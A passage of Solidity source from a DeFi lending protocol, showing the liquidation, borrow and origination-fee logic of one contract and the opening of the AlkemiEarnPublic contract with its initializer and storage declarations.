localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
}
// If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset
if (assetBorrow != wethAddress) {
if (requestedAmountClose == uint256(-1)) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (
requestedAmountClose >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
(err, localResults.reimburseAmount) = sub(
requestedAmountClose,
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
}
// From here on, no more use of `requestedAmountClose`
// Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset
if (
localResults.closeBorrowAmount_TargetUnderwaterAsset >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
return
fail(
Error.INVALID_CLOSE_AMOUNT_REQUESTED,
FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH
);
}
// seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount)
(
err,
localResults.seizeSupplyAmount_TargetCollateralAsset
) = calculateAmountSeize(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED
);
}
// We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol
// Fail gracefully if asset is not approved or has insufficient balance
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
err = checkTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We are going to repay the target user's borrow using the calling user's funds
// We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance,
// adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset.
// Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset`
(err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
// We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow
revertIfError(err);
// We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(
err,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
) = addThenSub(
borrowMarket.totalBorrows,
localResults.updatedBorrowBalance_TargetUnderwaterAsset,
borrowBalance_TargeUnderwaterAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET
);
}
// We need to calculate what the updated cash will be after we transfer in from liquidator
localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow);
(err, localResults.updatedCash_ProtocolUnderwaterAsset) = add(
localResults.currentCash_ProtocolUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET
);
}
// The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow
// (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.)
// We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it.
(
err,
localResults.newSupplyIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.supplyIndex,
borrowMarket.supplyRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
rateCalculationResultCode,
localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getSupplyRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
(
rateCalculationResultCode,
localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getBorrowRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
// Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above.
// Now we need to calculate the borrow index.
// We don't need to calculate new rates for the collateral asset because we have not changed utilization:
// - accumulating interest on the target user's collateral does not change cash or borrows
// - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows.
(
err,
localResults.newBorrowIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.borrowIndex,
collateralMarket.borrowRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
// We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub(
localResults.currentSupplyBalance_TargetCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance
// maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset
// which in turn limits seizeSupplyAmount_TargetCollateralAsset.
revertIfError(err);
// We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index
(
err,
localResults.updatedSupplyBalance_LiquidatorCollateralAsset
) = add(
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// We can't overflow here because if this would overflow, then we would have already overflowed above and failed
// with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
revertIfError(err);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save borrow market updates
borrowMarket.blockNumber = block.number;
borrowMarket.totalBorrows = localResults
.newTotalBorrows_ProtocolUnderwaterAsset;
// borrowMarket.totalSupply does not need to be updated
borrowMarket.supplyRateMantissa = localResults
.newSupplyRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset;
borrowMarket.borrowRateMantissa = localResults
.newBorrowRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset;
// Save collateral market updates
// We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply.
collateralMarket.blockNumber = block.number;
collateralMarket.totalSupply = localResults
.newTotalSupply_ProtocolCollateralAsset;
collateralMarket.supplyIndex = localResults
.newSupplyIndex_CollateralAsset;
collateralMarket.borrowIndex = localResults
.newBorrowIndex_CollateralAsset;
// Save user updates
localResults
.startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset
.principal; // save for use in event
borrowBalance_TargeUnderwaterAsset.principal = localResults
.updatedBorrowBalance_TargetUnderwaterAsset;
borrowBalance_TargeUnderwaterAsset.interestIndex = localResults
.newBorrowIndex_UnderwaterAsset;
localResults
.startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset
.principal; // save for use in event
supplyBalance_TargetCollateralAsset.principal = localResults
.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
localResults
.startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset
.principal; // save for use in event
supplyBalance_LiquidatorCollateralAsset.principal = localResults
.updatedSupplyBalance_LiquidatorCollateralAsset;
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == requestedAmountClose) {
uint256 supplyError = supplyEther(
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
//Repay excess funds
if (localResults.reimburseAmount > 0) {
revertEtherToUser(
localResults.liquidator,
localResults.reimburseAmount
);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.newSupplyIndex_UnderwaterAsset
);
emit BorrowLiquidated(
localResults.targetAccount,
localResults.assetBorrow,
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.liquidator,
localResults.assetCollateral,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
* If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed.
* Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO.
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedRepayToEvenAmount(
address targetAccount,
Exp memory underwaterAssetPrice,
address assetBorrow
) internal view returns (Error, uint256) {
Error err;
Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity
Exp memory accountShortfall_TargetUser;
Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount
Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1
Exp memory discountedPrice_UnderwaterAsset;
Exp memory rawResult;
// we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio
(
err,
_accountLiquidity,
accountShortfall_TargetUser
) = calculateAccountLiquidity(targetAccount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, collateralRatioMinusLiquidationDiscount) = subExp(
collateralRatio,
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedCollateralRatioMinusOne) = subExp(
collateralRatioMinusLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedPrice_UnderwaterAsset) = mulExp(
underwaterAssetPrice,
discountedCollateralRatioMinusOne
);
// calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio
// discountedCollateralRatioMinusOne < collateralRatio
// so if underwaterAssetPrice * collateralRatio did not overflow then
// underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either
revertIfError(err);
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow);
Exp memory maxClose;
(err, maxClose) = mulScalar(
Exp({mantissa: closeFactorMantissa}),
borrowBalance
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset);
// It's theoretically possible an asset could have such a low price that it truncates to zero when discounted.
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedBorrowDenominatedCollateral(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 supplyCurrent_TargetCollateralAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end
// [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ]
Error err;
Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount)
Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral
Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow
Exp memory rawResult;
(err, onePlusLiquidationDiscount) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, supplyCurrentTimesOracleCollateral) = mulScalar(
collateralPrice,
supplyCurrent_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp(
onePlusLiquidationDiscount,
underwaterAssetPrice
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(
supplyCurrentTimesOracleCollateral,
onePlusLiquidationDiscountTimesOracleBorrow
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral
* @return Return values are expressed in 1e18 scale
*/
function calculateAmountSeize(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 closeBorrowAmount_TargetUnderwaterAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices:
// underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice
// re-used for all intermediate errors
Error err;
// (1+liquidationDiscount)
Exp memory liquidationMultiplier;
// assetPrice-of-underwaterAsset * (1+liquidationDiscount)
Exp memory priceUnderwaterAssetTimesLiquidationMultiplier;
// priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset
// or, expanded:
// underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset
Exp memory finalNumerator;
// finalNumerator / priceCollateral
Exp memory rawResult;
(err, liquidationMultiplier) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
// liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow.
revertIfError(err);
(err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp(
underwaterAssetPrice,
liquidationMultiplier
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, finalNumerator) = mulScalar(
priceUnderwaterAssetTimesLiquidationMultiplier,
closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(finalNumerator, collateralPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param asset The market asset to borrow
* @param amount The amount to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(address asset, uint256 amount)
public
nonReentrant
onlyCustomerWithKYC
returns (uint256)
{
if (paused) {
return
fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED);
}
refreshAlkIndex(asset, msg.sender, false, true);
BorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// Fail if market not supported
if (!market.isSupported) {
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.BORROW_MARKET_NOT_SUPPORTED
);
}
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// Calculate origination fee.
(err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee(
amount
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED
);
}
uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount;
// Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated`
(err, localResults.userBorrowUpdated) = add(
localResults.userBorrowCurrent,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// Check customer liquidity
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT
);
}
// Would the customer have a shortfall after this borrow (including origination fee)?
// We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity.
// This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity`
(
err,
localResults.ethValueOfBorrowAmountWithFee
) = getPriceForAssetAmount(
asset,
localResults.borrowAmountWithFee,
true
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED);
}
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfBorrowAmountWithFee
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// Fail gracefully if protocol has insufficient cash
localResults.currentCash = getCash(asset);
// We need to calculate what the updated cash will be after we transfer out to the user
(err, localResults.updatedCash) = sub(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
// Note: we ignore error here and call this token insufficient cash
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
originationFeeBalance[msg.sender][asset] += orgFeeBalance;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, amount); // send Ether to user
}
emit BorrowTaken(
msg.sender,
asset,
amount,
localResults.startingBalance,
localResults.borrowAmountWithFee,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol
* @dev add amount of supported asset to admin's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supplyOriginationFeeAsAdmin(
address asset,
address user,
uint256 amount,
uint256 newSupplyIndex
) private {
refreshAlkIndex(asset, admin, true, true);
uint256 originationFeeRepaid = 0;
if (originationFeeBalance[user][asset] != 0) {
if (amount < originationFeeBalance[user][asset]) {
originationFeeRepaid = amount;
} else {
originationFeeRepaid = originationFeeBalance[user][asset];
}
Balance storage balance = supplyBalances[admin][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
originationFeeBalance[user][asset] -= originationFeeRepaid;
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
newSupplyIndex
);
revertIfError(err);
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
originationFeeRepaid
);
revertIfError(err);
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
markets[asset].totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
revertIfError(err);
// Save market updates
markets[asset].totalSupply = localResults.newTotalSupply;
// Save user updates
localResults.startingBalance = balance.principal;
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = newSupplyIndex;
emit SupplyReceived(
admin,
asset,
originationFeeRepaid,
localResults.startingBalance,
localResults.userSupplyUpdated
);
}
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market
* @param market The address of the market to accrue rewards
* @param user The address of the supplier/borrower to accrue rewards
* @param isSupply Specifies if Supply or Borrow Index need to be updated
* @param isVerified Verified / Public protocol
*/
function refreshAlkIndex(
address market,
address user,
bool isSupply,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
if (isSupply) {
rewardControl.refreshAlkSupplyIndex(market, user, isVerified);
} else {
rewardControl.refreshAlkBorrowIndex(market, user, isVerified);
}
}
/**
* @notice Get supply and borrows for a market
* @param asset The market asset to find balances of
* @return updated supply and borrows
*/
function getMarketBalances(address asset)
public
view
returns (uint256, uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 marketSupplyCurrent;
uint256 newBorrowIndex;
uint256 marketBorrowCurrent;
Market storage market = markets[asset];
// Calculate the newSupplyIndex, needed to calculate market's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, marketSupplyCurrent) = calculateBalance(
market.totalSupply,
market.supplyIndex,
newSupplyIndex
);
revertIfError(err);
// Calculate the newBorrowIndex, needed to calculate market's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, marketBorrowCurrent) = calculateBalance(
market.totalBorrows,
market.borrowIndex,
newBorrowIndex
);
revertIfError(err);
return (marketSupplyCurrent, marketBorrowCurrent);
}
/**
* @dev Function to revert in case of an internal exception
*/
function revertIfError(Error err) internal pure {
require(
err == Error.NO_ERROR,
"Function revert due to internal exception"
);
}
}
// File: contracts/AlkemiEarnPublic.sol
pragma solidity 0.4.24;
contract AlkemiEarnPublic is Exponential, SafeToken {
uint256 internal initialInterestIndex;
uint256 internal defaultOriginationFee;
uint256 internal defaultCollateralRatio;
uint256 internal defaultLiquidationDiscount;
// minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability
// Values cannot be assigned directly as OpenZeppelin upgrades do not support the same
// Values can only be assigned using initializer() below
// However, there is no way to change the below values using any functions and hence they act as constants
uint256 public minimumCollateralRatioMantissa;
uint256 public maximumLiquidationDiscountMantissa;
bool private initializationDone; // To make sure initializer is called only once
/**
* @notice `AlkemiEarnPublic` is the core contract
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer() public {
if (initializationDone == false) {
initializationDone = true;
admin = msg.sender;
initialInterestIndex = 10**18;
defaultOriginationFee = (10**15); // default is 0.1%
defaultCollateralRatio = 125 * (10**16); // default is 125% or 1.25
defaultLiquidationDiscount = (10**17); // default is 10% or 0.1
minimumCollateralRatioMantissa = 11 * (10**17); // 1.1
maximumLiquidationDiscountMantissa = (10**17); // 0.1
collateralRatio = Exp({mantissa: defaultCollateralRatio});
originationFee = Exp({mantissa: defaultOriginationFee});
liquidationDiscount = Exp({mantissa: defaultLiquidationDiscount});
_guardCounter = 1;
// oracle must be configured via _adminFunctions
}
}
/**
* @notice Do not pay directly into AlkemiEarnPublic, please use `supply`.
*/
function() public payable {
revert();
}
/**
* @dev pending Administrator for this contract.
*/
address public pendingAdmin;
/**
* @dev Administrator for this contract. Initially set in constructor, but can
* be changed by the admin itself.
*/
address public admin;
/**
* @dev Managers for this contract with limited permissions. Can
* be changed by the admin.
* Though unused, the below variable cannot be deleted as it will hinder upgradeability
* Will be cleared during the next compiler version upgrade
*/
mapping(address => bool) public managers;
/**
* @dev Account allowed to set oracle prices for this contract. Initially set
* in constructor, but can be changed by the admin.
*/
address private oracle;
/**
* @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin.
*/
ChainLink public priceOracle;
/**
* @dev Container for customer balance information written to storage.
*
* struct Balance {
* principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action
* interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action
* }
*/
struct Balance {
uint256 principal;
uint256 interestIndex;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for borrows
*/
mapping(address => mapping(address => Balance)) public borrowBalances;
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset
* totalSupply = total amount of this asset supplied (in asset wei)
